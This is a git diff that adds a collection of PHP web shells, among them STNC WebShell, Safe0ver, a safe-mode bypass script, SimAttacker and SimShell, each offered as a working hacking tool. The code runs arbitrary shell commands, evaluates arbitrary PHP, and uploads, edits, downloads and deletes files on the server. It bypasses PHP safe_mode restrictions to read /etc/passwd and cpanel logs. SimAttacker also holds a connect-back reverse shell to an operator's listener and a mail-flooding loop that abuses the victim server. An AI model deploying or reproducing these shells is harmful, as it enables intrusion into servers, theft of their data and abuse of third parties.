+$v)
+{ $_POST[$k] = stripslashes($v); }
+
+/*
+$login='root';
+$hash='b1b3773a05c0ed0176787a4f1574ff0075f7521e'; // sha1("qwerty")
+
+if(!(($_SERVER["PHP_AUTH_USER"]===$login)&&(sha1($_SERVER["PHP_AUTH_PW"])===$hash)))
+{
+header("HTTP/1.0 401 Unauthorized");
+header("WWW-Authenticate: Basic");
+die();
+}
+*/
+
+function fe($s)
+{return function_exists($s);}
+function cmd($s)
+{if(fe("exec")){exec($s,$r);$r=join("\n",$r);}
+elseif(fe("shell_exec"))$r=shell_exec($s);
+elseif(fe("system")){ob_start();system($s);$r=ob_get_contents();ob_end_clean();}
+elseif(fe("passthru")){ob_start();passthru($s);$r=ob_get_contents();ob_end_clean();}
+elseif(is_resource($f=popen($s,"r"))){$r="";while(!feof($f))$r.=fread($f,512);pclose($f);}
+else $r=`$s`;return $r;}
+function safe_mode_is_on()
+{return ini_get('safe_mode');}
+function str100($s)
+{if(strlen($s)>100) $s=substr($s,0,100)."..."; return $s;}
+function id()
+{return str100(cmd("id"));}
+function uname()
+{return str100(cmd("uname -a"));}
+
+function edit($size, $name, $val)
+{ return " "; }
+function button($capt)
+{ return " "; }
+function hidden($name, $val)
+{ return " "; }
+function hidden_pwd()
+{ global $location; return hidden("pwd",$location);}
+
+$action_edit = false;
+
+$printline = "";
+
+if(isset($_POST["action"])) $action = $_POST["action"];
+else $action = "cmd";
+
+if(isset($_POST["pwd"]))
+{ $pwd = $_POST["pwd"]; $type = filetype($pwd); if($type === "dir")chdir($pwd); else $printline = "\"$pwd\" - no such directory."; }
+
+$location = getcwd();
+
+if(($action === "download")&&(isset($_POST["fname"])))
+{
+ $fname = $_POST["fname"];
+ if(file_exists($fname))
+ {
+ $pathinfo = pathinfo($fname);
+ header("Content-Transfer-Encoding: binary");
+ header("Content-type: application/x-download");
+ header("Content-Length: ".filesize($fname));
+ header("Content-Disposition: attachment; filename=".$pathinfo["basename"]);
+ readfile($fname);
+ die();
+ }
+ else
+ $printline = "\"$fname\" - download failed.";
+}
+
+echo " STNC WebShell v$version
+ STNC WebShell v$version id: ".id()." uname: ".uname()." your ip: ".$_SERVER["REMOTE_ADDR"]." - server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." - safe_mode: ".((safe_mode_is_on()) ? "on" : "off")."
+".hidden("action","save").hidden_pwd()."";
+
+echo htmlspecialchars($printline)."\n";
+
+if($action === "cmd")
+{
+ if(isset($_POST["cmd"]))
+ $cmd = $_POST["cmd"];
+ else
+ $cmd = "ls -la";
+
+ $result = htmlspecialchars(cmd($cmd));
+
+ if($result === "")
+ $result = cmd("ls -la");
+
+ echo $result;
+ $location = getcwd();
+}
+elseif(($action === "edit")&&(isset($_POST["fname"])))
+{
+ $fname = $_POST["fname"];
+ ob_start();
+
+ if(!readfile($fname))
+ echo "Cann't open file \"$fname\".";
+ else
+ $action_edit = true;
+
+ $result = ob_get_clean();
+ ob_end_clean();
+ echo htmlspecialchars($result);
+}
+elseif(($action === "save")&&(isset($_POST["fname"]))&&(isset($_POST["data"])))
+{
+ $fname = $_POST["fname"];
+ $data = $_POST["data"];
+ $fid = fopen($fname, "w");
+ $fname = htmlspecialchars($fname);
+
+ if(!$fid)
+ echo "Cann't save file \"$fname\".";
+ else
+ {
+ fputs($fid, $data);
+ fclose($fid);
+ echo "File \"$fname\" is saved.";
+ }
+}
+elseif(($action === "upload")&&(isset($_FILES["file"]))&&(isset($_POST["fname"])))
+{
+ $fname = $_POST["fname"];
+ if(copy($_FILES["file"]["tmp_name"], $fname))
+ echo "File \"$fname\" is uploaded.\nFile size: ".filesize($fname)." bytes.";
+ else
+ echo "Upload failed!";
+}
+elseif(($action === "eval")&&(isset($_POST["code"])))
+{
+ $code = $_POST["code"];
+ ob_start();
+ eval($code);
+ $result = ob_get_clean();
+ ob_end_clean();
+ echo htmlspecialchars($result);
+}
+
+echo " ".(($action_edit) ? " ".button(" Save ").hidden("fname",$fname):"")."
+".hidden("action","cmd")."Command: ".edit(85,"cmd","")." Location: ".edit(85,"pwd",$location)." ".button("Execute")."
+".hidden("action","edit").hidden_pwd()."Edit file: ".edit(85,"fname",$location)." ".button(" Edit ")."
+
+".
+ hidden("action","download").hidden_pwd()."File: ".edit(50,"fname",$location)." ".button("Download")."
+ ".
+ hidden("action","upload").hidden_pwd()."
+
+
+".hidden("action","eval").hidden_pwd()." ".button(" Eval ")."
+Coded by drmist | http://drmist.ru | http://www.security-teams.net | not enough functions? | (c) 2006 [STNC]
";
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt b/xakep-shells/PHP/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt
new file mode 100644
index 0000000..34d7f7c
--- /dev/null
+++ b/xakep-shells/PHP/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt
@@ -0,0 +1,950 @@
+=4);
+$scriptTitle = "Safe0ver";
+$scriptident = "$scriptTitle By Evilc0der.org";
+
+$urlAdd = "";
+$formAdd = "";
+
+function walkArray($array){
+ while (list($key, $data) = each($array))
+ if (is_array($data)) { walkArray($data); }
+ else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
+}
+
+if (isset($_PUT)) walkArray($_PUT);
+if (isset($_GET)) walkArray($_GET);
+if (isset($_POST)) walkArray($_POST);
+
+
+$pos = strpos($urlAdd, "s=r");
+if (strval($pos) != "") {
+$urlAdd= substr($urlAdd, 0, $pos);
+}
+
+$urlAdd .= "&s=r&";
+
+if (empty($Pmax))
+ $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
+if (empty($Pidx))
+ $Pidx = 0;
+
+$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
+$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
+
+$scriptdate = "7 Subat 2007";
+$scriptver = "Bet@ Versiyon";
+$LOCAL_IMAGE_DIR = "img";
+$REMOTE_IMAGE_URL = "img";
+$img = array(
+ "Edit" => "edit.gif",
+ "Download" => "download.gif",
+ "Upload" => "upload.gif",
+ "Delete" => "delete.gif",
+ "View" => "view.gif",
+ "Rename" => "rename.gif",
+ "Move" => "move.gif",
+ "Copy" => "copy.gif",
+ "Execute" => "exec.gif"
+ );
+
+while (list($id, $im)=each($img))
+ if (file_exists("$LOCAL_IMAGE_DIR/$im"))
+ $img[$id] = " ";
+ else
+ $img[$id] = "[$id]";
+
+
+
+
+/* HTTP AUTHENTICATION */
+
+ if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
+ setcookie("noauth","");
+ Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
+ Header( "HTTP/1.0 401 Unauthorized");
+ echo "Your username or password is incorrect";
+ exit ;
+
+ }
+
+function buildUrl($display, $url) {
+ global $urlAdd;
+ $url = $SFileName . "?$urlAdd$url";
+ return "$display ";
+}
+
+function sp($mp) {
+ for ( $i = 0; $i < $mp; $i++ )
+ $ret .= " ";
+ return $ret;
+}
+
+function spacetonbsp($instr) { return str_replace(" ", " ", $instr); }
+
+function Mydeldir($Fdir) {
+ if (is_dir($Fdir)) {
+ $Fh=@opendir($Fdir);
+ while ($Fbuf = readdir($Fh))
+ if (($Fbuf != ".") && ($Fbuf != ".."))
+ Mydeldir("$Fdir/$Fbuf");
+ @closedir($Fh);
+ return rmdir($Fdir);
+ } else {
+ return unlink($Fdir);
+ }
+}
+
+
+function arrval ($array) {
+list($key, $data) = $array;
+return $data;
+}
+
+function formatsize($insize) {
+ $size = $insize;
+ $add = "B";
+ if ($size > 1024) {
+ $size = intval(intval($size) / 1.024)/1000;
+ $add = "KB";
+ }
+ if ($size > 1024) {
+ $size = intval(intval($size) / 1.024)/1000;
+ $add = "MB";
+ }
+ if ($size > 1024) {
+ $size = intval(intval($size) / 1.024)/1000;
+ $add = "GB";
+ }
+ if ($size > 1024) {
+ $size = intval(intval($size) / 1.024)/1000;
+ $add = "TB";
+ }
+ return "$size $add";
+}
+
+if ($cmd != "downl") {
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ".sp(3)."\n\n\n\n
+ Klasör Listelenemiyor!Lütfen Bypass Bölümünü Deneyin. ".sp(3)."\n
+ Script Gecisi Tamamlayamadi!
+ ".sp(3)."\n
+ Klasöre Girmek Icin yetkiniz Olduguna emin Olunuz...
+ \n\n\n\n";
+ }
+ if (function_exists('realpath')) {
+ $partdir = realpath($dir);
+ }
+ else {
+ $partdir = $dir;
+ }
+ if (strlen($partdir) >= 100) {
+ $partdir = substr($partdir, -100);
+ $pos = strpos($partdir, "/");
+ if (strval($pos) != "") {
+ $partdir = "<-- ...".substr($partdir, $pos);
+ }
+ $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
+ $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
+ $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
+ }
+ ?>
+ " method="POST">
+
+
+
+ Safe0ver-Server File Browser...
+
+
+
+
+
+
+
+ Listeliyor:
+
+
+
+
+
+
+
+
+
+
+
+ Dosya Adi
+
+
+ Yapilabilecekler
+
+
+ Boyut
+
+
+ Yetkiler
+
+
+ Son Düzenleme
+
+
+ $Pmax ) {
+ $from = $Pidx * $Pmax;
+ $to = ($Pidx + 1) * $Pmax-1;
+ if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
+ $to = count($filelist) - 1;
+ if ($to > count($filelist)-1)
+ $to = count($filelist)-1;
+ $Dcontents = array();
+ For ($Fi = $from; $Fi <= $to; $Fi++) {
+ $Dcontents[] = $filelist[$Fi];
+ }
+
+ }
+ else {
+ $Dcontents = $filelist;
+ }
+
+ $tdcolors = array("lighttd", "darktd");
+
+ while (list ($key, $file) = each ($Dcontents)) {
+ if (!$tdcolor=arrval(each($tdcolors))) {
+ reset($tdcolors);
+ $tdcolor = arrval(each($tdcolors)); }
+
+ if (is_dir("$dir/$file")) { /* */
+ /* */
+ echo " ".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)." \n";
+ /* */
+ echo "".sp(2)."\n";
+ /* */
+ if ( ($file != ".") && ($file != "..") )
+ echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
+ /* */
+ if ( ($file != ".") && ($file != "..") )
+ echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
+ /* */
+ echo " \n";
+ /* */
+ echo " \n";
+ /* */
+ echo " \n";
+ echo "D ";
+ if ( @is_readable("$dir/$file") ) {
+ echo "R ";
+ }
+ if (function_exists('is_writeable')) {
+ if ( @is_writeable("$dir/$file") ) {
+ echo "W";
+ }
+ }
+ else {
+ echo "(W)";
+ }
+ if ( @is_executable("$dir/$file") ) {
+ echo "X";
+ }
+ echo " \n";
+ /* */
+ echo "\n";
+ echo " ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))." ";
+ echo " ";
+ echo " \n";
+
+ }
+ else { /* */
+ /* */
+ if ( @is_readable("$dir/$file") )
+ echo "".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)." \n";
+ else
+ echo "".sp(3).$file.sp(9)." \n";
+ /* */
+ echo " \n";
+ /* */
+ echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
+ /* */
+ if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
+ echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
+ /* */
+ echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
+ /* */
+ if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
+ echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
+ /* */
+ echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
+ /* */
+ echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
+ /* */
+ if ( @is_executable("$dir/$file") )
+ echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
+ /* */
+ echo sp(2)." \n";
+ /* */
+ echo "\n";
+ $size = @filesize("$dir/$file");
+ If ($size != false) {
+ $filesizes += $size;
+ echo " ".formatsize($size)."";
+ }
+ else
+ echo " 0 B";
+ echo " \n";
+
+ /* */
+ echo " \n";
+
+ if ( @is_readable("$dir/$file") )
+ echo "R ";
+ if ( @is_writeable("$dir/$file") )
+ echo "W";
+ if ( @is_executable("$dir/$file") )
+ echo "X";
+ if (function_exists('is_uploaded_file')){
+ if ( @is_uploaded_file("$dir/$file") )
+ echo "U";
+ }
+ else {
+ echo "(U)";
+ }
+ echo " \n";
+ /* */
+ echo "\n";
+ echo " ".date("D d-m-Y H:i:s", filemtime("$dir/$file"))." ";
+ echo " ";
+ echo " \n";
+ }
+ }
+
+ echo "
\n\n";
+ echo " ".@count ($dirn)." Klasör, ".@count ($filen)." Dosya \n";
+ echo " \n";
+ echo " Toplam Dosya Boyutu: ".formatsize($filesizes)." \n";
+
+ function printpagelink($a, $b, $link = ""){
+ if ($link != "")
+ echo "| $a - $b | ";
+ else
+ echo "| $a - $b | ";
+ }
+
+ if ( count($filelist)-1 > $Pmax ) {
+ echo "Page: ";
+ $Fi = 0;
+ while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
+ $from = $Fi*$Pmax;
+ while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
+ $to = ($Fi + 1) * $Pmax - 1;
+ if ($Fi == $Pidx)
+ $link="";
+ else
+ $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
+ printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
+ echo " ";
+ $Fi++;
+ }
+ $from = $Fi*$Pmax;
+ while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
+ $to = count($filelist)-1;
+ if ($Fi == $Pidx)
+ $link="";
+ else
+ $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
+ printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
+
+
+ echo "
";
+ }
+
+
+ echo "
\n";
+
+ if ($isGoodver) {
+ echo " PHP Versiyonu: $PHPVer \n";
+ }
+ else {
+ echo " Server's PHP Version: $PHPVer (Some functions might be unavailable...) \n";
+ }
+ /* */
+ echo " Diger Islemler: \n";
+ echo " ".buildUrl( "| Yeni Dosya |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
+ buildUrl( "| Yeni Klasör |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
+ buildUrl( "| Dosya Yükle |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). " \n \n";
+ echo " Script Location: $PATH_TRANSLATED \n";
+ echo " IP Adresin: $REMOTE_ADDR \n";
+ echo " Bulundugun Klasör: $partdir \n";
+ echo " Semboller: \n";
+ echo "";
+ echo "D: Klasör. \n";
+ echo "R: Okunabilir. \n";
+ echo "W: Yazilabilir. \n";
+ echo "X: Komut Calistirilabilir. \n";
+ echo "U: HTTP Uploaded File. \n";
+ echo "
";
+ echo "
";
+ echo " ";
+ @closedir($h);
+ }
+ elseif ( $cmd=="execute" ) {/**/
+ echo system("$file");
+ }
+elseif ( $cmd=="deldir" ) { /* */
+ echo "" ;
+ if ($auth == "yes") {
+ if (Mydeldir($file)==false) {
+ echo "Could not remove \"$file\" Permission denied, or directory not empty...";
+ }
+ else {
+ echo "Successfully removed \"$file\" ";
+ }
+ echo " ";
+ }
+ else {
+ echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
+
+
+
+
+
+
+
+
+
+
+ ";
+ }
+ echo " ";
+}
+ elseif ( $cmd=="delfile" ) { /* */ echo "" ;
+ if ($auth == "yes") {
+ if (@unlink($file)==false) {
+ echo "Could not remove \"$file\" ";
+ }
+ else {
+ echo "Successfully removed \"$file\" ";
+ }
+ echo " ";
+ }
+ else {
+ echo "Are you sure you want to delete \"$file\" ?
+
+
+
+
+
+
+
+
+
+
+
+ ";
+ }
+ echo " ";
+}
+elseif ( $cmd=="newfile" ) { /* */
+ echo " ";
+ }
+elseif ( $cmd=="newdir" ) { /* */
+ echo " ";
+}
+elseif ( $cmd=="edit" ) { /* */
+ $contents = "";
+ $fc = @file( $file );
+ while ( @list( $ln, $line ) = each( $fc ) ) {
+ $contents .= htmlentities( $line ) ;
+ }
+ echo " ";
+}
+elseif ( $cmd=="saveedit" ) { /* */
+ $fo = fopen($file, "w");
+ $wrret = fwrite($fo, stripslashes($contents));
+ $clret = fclose($fo);
+}
+elseif ( $cmd=="downl" ) { /* */
+ $downloadfile = urldecode($file);
+ if (function_exists("basename"))
+ $downloadto = basename ($downloadfile);
+ else
+ $downloadto = "download.ext";
+ if (!file_exists("$downloadfile"))
+ echo "The file does not exist";
+ else {
+ $size = @filesize("$downloadfile");
+ if ($size != false) {
+ $add="; size=$size";
+ }
+ else {
+ $add="";
+ }
+ header("Content-Type: application/download");
+ header("Content-Disposition: attachment; filename=$downloadto$add");
+ $fp=fopen("$downloadfile" ,"rb");
+ fpassthru($fp);
+ flush();
+ }
+}
+elseif ( $cmd=="upload" ) { /* */
+ ?>
+
+
+
+
+ */
+ echo " ";
+}
+elseif ( $cmd=="file" ) { /* */
+ echo " ";
+ $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
+ echo spacetonbsp(@htmlentities($line))." \n";
+ }
+ echo " ";
+}
+elseif ( $cmd=="ren" ) { /* */
+ if (function_exists('is_dir')) {
+ if (is_dir("$oldfile")) {
+ $objname = "Directory";
+ $objident = "Directory";
+ }
+ else {
+ $objname = "Filename";
+ $objident = "file";
+ }
+ }
+ echo " \n";
+ If (empty($newfile) != true) {
+ echo "";
+ $return = @rename($oldfile, "$olddir$newfile");
+ if ($return) {
+ echo "$objident renamed successfully: Old $objname: \"$oldfile\". New $objname: \"$olddir$newfile\"";
+ }
+ else {
+ if ( @file_exists("$olddir$newfile") ) {
+ echo "Error: The $objident does already exist... \"$olddir$newfile\" Hit your browser's back to try again...";
+ }
+ else {
+ echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
+ }
+ }
+ echo " " ;
+ }
+ else {
+ $dpos = strrpos($oldfile, "/");
+ if (strval($dpos)!="") {
+ $olddir = substr($oldfile, 0, $dpos+1);
+ }
+ else {
+ $olddir = "$lastdir/";
+ }
+ $fpos = strrpos($oldfile, "/");
+ if (strval($fpos)!="") {
+ $inputfile = substr($oldfile, $fpos+1);
+ }
+ else {
+ $inputfile = "";
+ }
+ echo " ";
+ }
+}
+else if ( $cmd == "con") {
+
+?>
+
+
+ */
+ $isMainMenu = true;
+ ?>
+
+
+
+ -<[{ Main Menu }]>-
+
+
+
+
+
+
+
+
+ ##Safe0ver## ", "cmd=dir&dir=.").sp(2); ?>
+ Safe0ver Shell Piyasada Bulunan Bir Cok Shell'in Kodlarindan(c99,r57 vs...) Sentezlenerek Kodlanmistir.Entegre Olarak Bypass Özelligi Eklenmis Ve Böylece Tahrip Gücü Yükseltilmistir.Yazilimimiz Hic bir Virus,worm,trojan gibi Kullaniciyi Tehdit Eden Veya Sömüren yazilimlar Icermemektedir.--------------------------
Bypass Kullaným:Cat /home/evilc0der/public_html/config.php Gibi Olmalidir.
+
+
+
+ Safe Mode ByPAss
+ " name="dizin">
+
+
+
+
+ Sistem Bilgisi
+ cat /etc/passwd
+ cat /var/cpanel/accounting.log
+ cat /etc/syslog.conf
+ cat /etc/hosts
+ cat /etc/named.conf
+ cat /etc/httpd/conf/httpd.conf
+ Açik Portlar
+ Çalisan Uygulamalar
+
+
+------------------------------------------------------------------------------------
+
+$evilc0der=$_POST['dizin'];
+if($_POST['dizin'])
+{
+ini_restore("safe_mode");
+ini_restore("open_basedir");
+$safemodgec = shell_exec($evilc0der);
+echo "$safemodgec ";
+}
+?>
+
+
+
+
+
+
+
+
+
+ [ Main Menu ] ", "cmd=&dir="); ?>
+
+ [ R00T ] ", "cmd=dir&dir=."); ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt b/xakep-shells/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt
new file mode 100644
index 0000000..ac5dc38
--- /dev/null
+++ b/xakep-shells/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt
@@ -0,0 +1,89 @@
+
+
+
+
+! Safe
+Mode Shell v1.0 !
+
+
+
+
+
+
+ Get /etc/passwd
+ View cpanel logs
+ Syslog configuration
+ Hosts
+
+
+
+
+
+*/
+
+echo "Safe Mode Shell ";
+
+
+
+
+$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp
+
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = true;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = false; $hsafemode = "OFF (not secure) ";}
+echo("Safe-mode: $hsafemode");
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v." ";}
+else {$openbasedir = false; $hopenbasedir = "OFF (not secure) ";}
+echo(" ");
+echo("Open base dir: $hopenbasedir");
+echo(" ");
+echo "Disable functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+
+echo "\n";
+if(empty($file)){
+if(empty($_GET['file'])){
+if(empty($_POST['file'])){
+die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n PHP Emperor
+xb5@hotmail.com ");
+} else {
+$file=$_POST['file'];
+}
+} else {
+$file=$_GET['file'];
+}
+}
+
+$temp=tempnam($tymczas, "cx");
+
+if(copy("compress.zlib://".$file, $temp)){
+$zrodlo = fopen($temp, "r");
+$tekst = fread($zrodlo, filesize($temp));
+fclose($zrodlo);
+echo "--- Start File ".htmlspecialchars($file)."
+------------- \n".htmlspecialchars($tekst)."\n--- End File
+".htmlspecialchars($file)." ---------------\n";
+unlink($temp);
+die("\nFile
+".htmlspecialchars($file)." has been already loaded. PHP Emperor
+;] ");
+} else {
+die(" Sorry... File
+".htmlspecialchars($file)." dosen't exists or you don't have
+access. ");
+}
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt b/xakep-shells/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt
new file mode 100644
index 0000000..9d41bb6
--- /dev/null
+++ b/xakep-shells/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt
@@ -0,0 +1,378 @@
+
+//download Files Code
+$fdownload=$_GET['fdownload'];
+if ($fdownload <> "" ){
+// path & file name
+$path_parts = pathinfo("$fdownload");
+$entrypath=$path_parts["basename"];
+$name = "$fdownload";
+$fp = fopen($name, 'rb');
+header("Content-Disposition: attachment; filename=$entrypath");
+header("Content-Length: " . filesize($name));
+fpassthru($fp);
+exit;
+}
+?>
+
+
+
+
+
+
+SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend
+
+
+
+
+error_reporting(E_ERROR | E_WARNING | E_PARSE);
+
+ //File Edit
+ $fedit=$_GET['fedit'];
+ if ($fedit <> "" ){
+ $fedit=realpath($fedit);
+ $lines = file($fedit);
+ echo " ";
+echo "" ;
+foreach ($lines as $line_num => $line) {
+ echo htmlspecialchars($line);
+}
+echo "
+
+ ";
+ $savefile=$_POST['savefile'];
+ $filepath=realpath($_POST['filepath']);
+ if ($savefile <> "")
+ {
+ $fp=fopen("$filepath","w+");
+ fwrite ($fp,"") ;
+ fwrite ($fp,$savefile) ;
+ fclose($fp);
+ echo "";
+ }
+exit();
+ }
+?>
+
+// CHmod - PRimission
+$fchmod=$_GET['fchmod'];
+if ($fchmod <> "" ){
+$fchmod=realpath($fchmod);
+echo "
+chmod for :$fchmod
+
+Chmod :
+
+
+ ";
+$chmod0=$_POST['chmod0'];
+if ($chmod0 <> ""){
+chmod ($fchmod , $chmod0);
+}else {
+echo "primission Not Allow change Chmod";
+}
+exit();
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+ File Manager
+
+
+
+ CMD Shell
+
+
+ Fake mail
+
+
+
+ Connect Back
+
+
+
+ About
+
+
+
+ //*******************************************************
+ //Start Programs About US
+ $id=$_GET['id'];
+
+ if ($id=="") {
+ echo "
+
+***************************************************************************
+ Iranian Hackers : WWW.SIMORGH-EV.COM
+ Programer : Hossein Asgary
+ Note : SimAttacker Have copyright from simorgh security Group
+ please : If you find bug or problems in program , tell me by :
+ e-mail : admin(at)simorgh-ev(dot)com
+Enjoy :) [Only 4 Best Friends ]
+***************************************************************************
+";
+
+echo "OS :". php_uname();
+echo " IP :".
+($_SERVER['REMOTE_ADDR']);
+echo " ";
+
+
+ }
+ //************************************************************
+ //cmd-command line
+ $cmd=$_POST['cmd'];
+ if($id=="cmd"){
+ $result=shell_exec("$cmd");
+ echo " CMD ExeCute " ;
+ echo "
+ $result
+
+
+
+ ";
+
+
+
+ }
+
+ //********************************************************
+
+ //fake mail = Use victim server 4 DOS - fake mail
+ if ( $id=="fake-mail"){
+ error_reporting(0);
+ echo " Fake Mail- DOS E-mail By Victim Server " ;
+ echo "
+ Victim Mail :
+ Number-Mail :
+ Comments:
+
+
+
+ ";
+ //send Storm Mail
+ $to=$_POST['to'];
+ $nom=$_POST['nom'];
+ $Comments=$_POST['Comments'];
+ if ($to <> "" ){
+ for ($i = 0; $i < $nom ; $i++){
+ $from = rand (71,1020000000)."@"."Attacker.com";
+ $subject= md5("$from");
+ mail($to,$subject,$Comments,"From:$from");
+ echo "$i is ok";
+ }
+ echo "";
+ }
+ }
+ //********************************************************
+
+ //Connect Back -Firewall Bypass
+ if ($id=="cshell"){
+ echo " Connect back Shell , bypass Firewalls
+ For user :
+ nc -l -p 1019
+
+
+ Your IP & BindPort:
+
+
+
+ ";
+ $mip=$_POST['mip'];
+ $bport=$_POST['bport'];
+ if ($mip <> "")
+ {
+ $fp=fsockopen($mip , $bport , $errno, $errstr);
+ if (!$fp){
+ $result = "Error: could not open socket connection";
+ }
+ else {
+ fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n");
+ while(!feof($fp)){
+ fputs ($fp," bash # ");
+ $result= fgets ($fp, 4096);
+ $message=`$result`;
+ fputs ($fp,"--> ".$message."\n");
+ }
+ fclose ($fp);
+ }
+ }
+ }
+
+ //********************************************************
+ //Spy File Manager
+ $homedir=getcwd();
+ $dir=realpath($_GET['dir'])."/";
+ if ($id=="fm"){
+ echo " Home: $homedir
+
+
+ Path:
+
+
+
+
+ ";
+
+ echo "
+
+
";
+ }
+//Upload Files
+$rpath=$_GET['dir'];
+if ($rpath <> "") {
+$uploadfile = $rpath."/" . $_FILES['userfile']['name'];
+print "";
+if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
+echo "";
+echo "";
+}
+ }
+ //file deleted
+$frpath=$_GET['fdelete'];
+if ($frpath <> "") {
+if (is_dir($frpath)){
+$matches = glob($frpath . '/*.*');
+if ( is_array ( $matches ) ) {
+ foreach ( $matches as $filename) {
+ unlink ($filename);
+ rmdir("$frpath");
+echo "";
+echo "";
+ }
+ }
+ }
+ else{
+echo "";
+unlink ("$frpath");
+echo "";
+exit(0);
+
+ }
+
+
+}
+ ?>
+
+
+
+
+
+
+ Copyright 2004-Simorgh Security
+ Hossein-Asgari
+
+
+ www.simorgh-ev.com
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/SimShell 1.0 - Simorgh Security MGZ.php.txt b/xakep-shells/PHP/SimShell 1.0 - Simorgh Security MGZ.php.txt
new file mode 100644
index 0000000..2fff063
--- /dev/null
+++ b/xakep-shells/PHP/SimShell 1.0 - Simorgh Security MGZ.php.txt
@@ -0,0 +1,180 @@
+ array('pipe', 'w'),
+ 2 => array('pipe', 'w')),
+ $io);
+
+
+ while (!feof($io[1])) {
+ $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
+ ENT_COMPAT, 'UTF-8');
+ }
+
+ while (!feof($io[2])) {
+ $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
+ ENT_COMPAT, 'UTF-8');
+ }
+
+ fclose($io[1]);
+ fclose($io[2]);
+ proc_close($p);
+ }
+ }
+
+
+ if (empty($_SESSION['history'])) {
+ $js_command_hist = '""';
+ } else {
+ $escaped = array_map('addslashes', $_SESSION['history']);
+ $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
+ }
+
+
+header('Content-Type: text/html; charset=UTF-8');
+
+echo '' . "\n";
+?>
+
+
+ SimShell - Simorgh Security MGZ
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Directory:
+
+
+
+
+
+
+
